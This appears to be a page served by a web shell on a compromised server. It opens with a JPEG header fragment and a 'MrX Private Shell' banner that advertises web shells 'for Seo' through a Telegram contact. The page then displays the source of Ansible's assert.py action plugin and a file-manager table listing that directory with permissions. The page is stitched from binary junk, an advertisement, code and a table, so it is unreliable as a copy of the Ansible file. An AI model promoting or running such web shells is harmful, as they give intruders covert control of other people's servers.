����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright 2012, Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.errors import AnsibleError
from ansible.playbook.conditional import Conditional
from ansible.plugins.action import ActionBase
from ansible.module_utils.six import string_types
from ansible.module_utils.parsing.convert_bool import boolean
class ActionModule(ActionBase):
''' Fail with custom message '''
TRANSFERS_FILES = False
_VALID_ARGS = frozenset(('fail_msg', 'msg', 'quiet', 'success_msg', 'that'))
def run(self, tmp=None, task_vars=None):
if task_vars is None:
task_vars = dict()
result = super(ActionModule, self).run(tmp, task_vars)
del tmp # tmp no longer has any effect
if 'that' not in self._task.args:
raise AnsibleError('conditional required in "that" string')
fail_msg = None
success_msg = None
fail_msg = self._task.args.get('fail_msg', self._task.args.get('msg'))
if fail_msg is None:
fail_msg = 'Assertion failed'
elif isinstance(fail_msg, list):
if not all(isinstance(x, string_types) for x in fail_msg):
raise AnsibleError('Type of one of the elements in fail_msg or msg list is not string type')
elif not isinstance(fail_msg, (string_types, list)):
raise AnsibleError('Incorrect type for fail_msg or msg, expected a string or list and got %s' % type(fail_msg))
success_msg = self._task.args.get('success_msg')
if success_msg is None:
success_msg = 'All assertions passed'
elif isinstance(success_msg, list):
if not all(isinstance(x, string_types) for x in success_msg):
raise AnsibleError('Type of one of the elements in success_msg list is not string type')
elif not isinstance(success_msg, (string_types, list)):
raise AnsibleError('Incorrect type for success_msg, expected a string or list and got %s' % type(success_msg))
quiet = boolean(self._task.args.get('quiet', False), strict=False)
# directly access 'that' via untemplated args from the task so we can intelligently trust embedded
# templates and preserve the original inputs/locations for better messaging on assert failures and
# errors.
# FIXME: even in devel, things like `that: item` don't always work properly (truthy string value
# is not really an embedded expression)
# we could fix that by doing direct var lookups on the inputs
# FIXME: some form of this code should probably be shared between debug, assert, and
# Task.post_validate, since they
# have a lot of overlapping needs
try:
thats = self._task.untemplated_args['that']
except KeyError:
# in the case of "we got our entire args dict from a template", we can just consult the
# post-templated dict (the damage has likely already been done for embedded templates anyway)
thats = self._task.args['that']
# FIXME: this is a case where we only want to resolve indirections, NOT recurse containers
# (and even then, the leaf-most expression being wrapped is at least suboptimal
# (since its expression will be "eaten").
if isinstance(thats, str):
thats = self._templar.template(thats)
# make sure the 'that' items are a list
if not isinstance(thats, list):
thats = [thats]
# Now we iterate over the that items, temporarily assigning them
# to the task's when value so we can evaluate the conditional using
# the built in evaluate function. The when has already been evaluated
# by this point, and is not used again, so we don't care about mangling
# that value now
cond = Conditional(loader=self._loader)
if not quiet:
result['_ansible_verbose_always'] = True
for that in thats:
cond.when = [that]
test_result = cond.evaluate_conditional(templar=self._templar, all_vars=task_vars)
if not test_result:
result['failed'] = True
result['evaluated_to'] = test_result
result['assertion'] = that
result['msg'] = fail_msg
return result
result['changed'] = False
result['msg'] = success_msg
return result
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 67.24 KB | 0644 |
|
| add_host.py | File | 3.58 KB | 0644 |
|
| assemble.py | File | 6.42 KB | 0644 |
|
| assert.py | File | 5.03 KB | 0644 |
|
| async_status.py | File | 1.78 KB | 0644 |
|
| command.py | File | 1.13 KB | 0644 |
|
| copy.py | File | 26.72 KB | 0644 |
|
| debug.py | File | 3.28 KB | 0644 |
|
| fail.py | File | 1.44 KB | 0644 |
|
| fetch.py | File | 9.64 KB | 0644 |
|
| gather_facts.py | File | 6.55 KB | 0644 |
|
| group_by.py | File | 1.87 KB | 0644 |
|
| include_vars.py | File | 11.19 KB | 0644 |
|
| normal.py | File | 2.39 KB | 0644 |
|
| package.py | File | 4.13 KB | 0644 |
|
| pause.py | File | 11.31 KB | 0644 |
|
| raw.py | File | 1.78 KB | 0644 |
|
| reboot.py | File | 20.59 KB | 0644 |
|
| script.py | File | 7.8 KB | 0644 |
|
| service.py | File | 4.51 KB | 0644 |
|
| set_fact.py | File | 2.75 KB | 0644 |
|
| set_stats.py | File | 2.82 KB | 0644 |
|
| shell.py | File | 1.22 KB | 0644 |
|
| template.py | File | 9.74 KB | 0644 |
|
| unarchive.py | File | 4.78 KB | 0644 |
|
| uri.py | File | 3.96 KB | 0644 |
|
| validate_argument_spec.py | File | 3.98 KB | 0644 |
|
| wait_for_connection.py | File | 4.47 KB | 0644 |
|
| yum.py | File | 4.6 KB | 0644 |
|